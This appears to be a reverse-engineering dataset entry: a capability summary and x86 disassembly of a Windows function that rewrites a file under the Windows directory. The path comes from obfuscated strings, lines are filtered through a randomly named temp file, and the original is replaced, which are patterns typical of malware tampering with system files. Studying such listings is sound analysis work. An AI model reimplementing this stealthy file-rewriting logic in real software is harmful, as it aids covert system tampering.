Function at 0x415400
Capabilities:
Check os version
Delete file
Get common file path
Move file
Set file attributes

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x30f4
call fcn.00424090
push edi
push 0x94
push 0
lea eax, [ebp - 0x30a8]
push eax
call fcn.00423d20
add esp, 0xc
mov dword [ebp - 0x30a8], 0x94
lea ecx, [ebp - 0x30a8]
push ecx
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
mov dl, byte [0x434172]
mov byte [ebp - 0x2808], dl
mov ecx, 0x1ff
xor eax, eax
lea edi, [ebp - 0x2807]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0x7d0
lea eax, [ebp - 0x2808]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
test eax, eax
jne 0x415474
jmp 0x41584d
cmp dword [ebp - 0x3098], 2
jne 0x41549e
push 0
push str.971E698EE67EFE364CB02A74AAE140150EED367AA4C1F996B97D0092F3348884B9
call fcn.00422d00
add esp, 8
push eax
lea ecx, [ebp - 0x2808]
push ecx
call fcn.00423c30
add esp, 8
jmp 0x4154bd
push 0
push str.1B33B5D28EC9F8DEE4
call fcn.00422d00
add esp, 8
push eax
lea edx, [ebp - 0x2808]
push edx
call fcn.00423c30
add esp, 8
push 0x4341d0
lea eax, [ebp - 0x2808]
push eax
call fcn.004257b5
add esp, 8
mov dword [ebp - 0x2008], eax
cmp dword [ebp - 0x2008], 0
jne 0x4154e5
jmp 0x41584d
call fcn.00423e1d
cdq
mov ecx, 0x1a
idiv ecx
add edx, 0x61
push edx
call fcn.00423e1d
cdq
mov ecx, 0x1a
idiv ecx
add edx, 0x61
push edx
call fcn.00423e1d
cdq
mov ecx, 0x1a
idiv ecx
add edx, 0x61
push edx
lea edx, [ebp - 0x2808]
push edx
push str._s._c_c_c
lea eax, [ebp - 0x3008]
push eax
call fcn.00423db8
add esp, 0x18
push 0x4341e0
lea ecx, [ebp - 0x3008]
push ecx
call fcn.004257b5
add esp, 8
mov dword [ebp - 0x30ac], eax
mov dword [ebp - 0x300c], 0
push 0x46e288
push 0
push str.7C0B402530D1E85EF391B9AE6146
call fcn.00422d00
add esp, 8
push eax
lea edx, [ebp - 0x1000]
push edx
call fcn.00423db8
add esp, 0xc
mov dword [ebp - 0x2004], 0
mov eax, dword [ebp - 0x2008]
mov ecx, dword [eax + 0xc]
and ecx, 0x10
jne 0x415779
cmp dword [ebp - 0x300c], 0
jne 0x415779
mov edx, dword [ebp - 0x2008]
push edx
push 0x1000
lea eax, [ebp - 0x2000]
push eax
call fcn.00425905
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x300c], eax
je 0x4155d1
jmp 0x415779
lea ecx, [ebp - 0x2000]
push ecx
call fcn.00423b90
add esp, 4
movsx edx, byte [ebp + eax - 0x2001]
cmp edx, 0xa
je 0x415609
lea eax, [ebp - 0x2000]
push eax
call fcn.00423b90
add esp, 4
movsx ecx, byte [ebp + eax - 0x2001]
cmp ecx, 0xd
jne 0x415620
lea edx, [ebp - 0x2000]
push edx
call fcn.00423b90
add esp, 4
mov byte [ebp + eax - 0x2001], 0
lea eax, [ebp - 0x2000]
push eax
call fcn.00423b90
add esp, 4
movsx ecx, byte [ebp + eax - 0x2001]
cmp ecx, 0xa
je 0x415658
lea edx, [ebp - 0x2000]
push edx
call fcn.00423b90
add esp, 4
movsx eax, byte [ebp + eax - 0x2001]
cmp eax, 0xd
jne 0x41566f
lea ecx, [ebp - 0x2000]
push ecx
call fcn.00423b90
add esp, 4
mov byte [ebp + eax - 0x2001], 0
mov dword [ebp - 0x30f4], 0
mov dl, byte [0x434201]
mov byte [ebp - 0x30f0], dl
mov ecx, 0xf
xor eax, eax
lea edi, [ebp - 0x30ef]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov dword [ebp - 0x30b0], 1
mov eax, dword [ebp - 0x30f4]
push eax
lea ecx, [ebp - 0x30f0]
push ecx
call fcn.00422ff0
add esp, 8
test eax, eax
je 0x415747
lea edx, [ebp - 0x30f0]
push edx
lea eax, [ebp - 0x2000]
push eax
call fcn.004214b0
add esp, 8
test eax, eax
je 0x415733
mov dword [ebp - 0x30b0], 0
mov ecx, dword [ebp - 0x2004]
add ecx, 1
mov dword [ebp - 0x2004], ecx
push 0x434204
lea edx, [ebp - 0x1000]
push edx
call fcn.00423c30
add esp, 8
lea eax, [ebp - 0x1000]
push eax
call fcn.00423b90
add esp, 4
mov ecx, 0xfa0
sub ecx, eax
push ecx
lea edx, [ebp - 0x2000]
push edx
lea eax, [ebp - 0x1000]
push eax
call fcn.004257d0
add esp, 0xc
mov ecx, dword [ebp - 0x30f4]
add ecx, 1
mov dword [ebp - 0x30f4], ecx
jmp 0x4156a1
cmp dword [ebp - 0x30b0], 0
je 0x415774
cmp dword [ebp - 0x30ac], 0
je 0x415774
lea edx, [ebp - 0x2000]
push edx
push 0x434208
mov eax, dword [ebp - 0x30ac]
push eax
call fcn.004256fb
add esp, 0xc
jmp 0x415585
cmp dword [ebp - 0x30ac], 0
je 0x415791
mov ecx, dword [ebp - 0x30ac]
push ecx
call fcn.004256aa
add esp, 4
mov edx, dword [ebp - 0x2008]
push edx
call fcn.004256aa
add esp, 4
cmp dword [ebp - 0x2004], 0
je 0x415837
cmp dword [ebp - 0x30ac], 0
je 0x415835
push 0x80
lea eax, [ebp - 0x2808]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea ecx, [ebp - 0x2808]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0x80
lea edx, [ebp - 0x3008]
push edx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea eax, [ebp - 0x2808]
push eax
lea ecx, [ebp - 0x3008]
push ecx
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push 0
call fcn.00423e3f
add esp, 4
sub eax, dword [0x45e160]
cmp eax, 0xa8c0
jle 0x415835
lea edx, [ebp - 0x1000]
push edx
push 0x46e700
call fcn.0041b4f0
add esp, 8
push 0
call fcn.00423e3f
add esp, 4
mov dword [0x45e160], eax
jmp 0x41584d
cmp dword [ebp - 0x30ac], 0
je 0x41584d
lea eax, [ebp - 0x3008]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
pop edi
mov esp, ebp
pop ebp
ret